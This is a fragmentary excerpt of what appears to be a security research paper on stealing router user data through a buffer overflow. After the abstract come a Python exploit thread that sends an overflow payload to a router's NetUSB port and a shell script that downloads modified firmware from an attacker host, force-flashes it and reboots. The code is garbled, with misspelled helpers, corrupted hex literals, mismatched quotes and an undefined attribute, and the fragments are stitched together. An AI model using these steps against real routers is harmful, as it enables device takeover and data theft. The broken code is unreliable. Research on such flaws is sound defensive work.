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Stealing Wireless Router User Data Through Buffer Overflow
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Abstract

As smart devices have become widespread since the 2010s, wireless networks have been widely installed, and
wired and wireless routers are especially used for cost reduction and convenience. However, as it becomes more
widespread, attackers use numerous attack methods to disrupt normal operations and then attempt to steal data. In
particular, buffer overflow attacks, which allow arbitrary code execution by performing abnormal operations, are
becoming more active. In this paper, we attempt to steal user data after booting with firmware that has been
modified without user consent through a buffer overflow vulnerability. The method being attempted does not require
difficult methods and allows data theft through firmware change without user consent. Through this method, we
learned that users and manufacturers of routers need to pay attention to security.
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class TrasherThread(threading.Thread):
def __init__(self, target):
threading.Thread.__init__(self, name = 'trasher')
self.target = target
self.port = netusb_port
self.overflow_event = threading.Event()
self.overflow_done_event = threading.Event()

self.overflow_content = None

def overflow_and_wait(self, overflow_content):
self.overflow_content = overflow_content
self.overflow_event.set()
self.overflow_done_event.wait()

def run(self):
s, aes_ctx = create_connection(self.target, self.port, self.name)
s.send(1le8(0xff))
s.send(1e8(0x51))
s.send(1e32(oxff_ff_ff_ff))
s.send(1le32(0x11_22_33_44))
self.overflow_event.wait()
s.send(1e32(0x55_66_77_88))
p = le8(@xaa) * (128 - 0x10)

# Fill up overflow

p += self.overflow_content
s.send(p)
self.overflow_done_event.set()
s.close()

def main():
args = "192.168.0.1"
trasher = TrasherThread(args.target)
trasher.start()
overflow_payload = b'A" * 0x10_000
trasher.overflow_and_wait(overflow_payload)
print('Done')|
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#!/bin/sh

cd /tmp && wget https://{attacker-ip}:3080/archerc7-firm.
sysupgrade -F archerc7-firm.bin firmware

reboot -f

bin
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Fig. 4. Example of malicious shell script that downloads
and installs modified firmware
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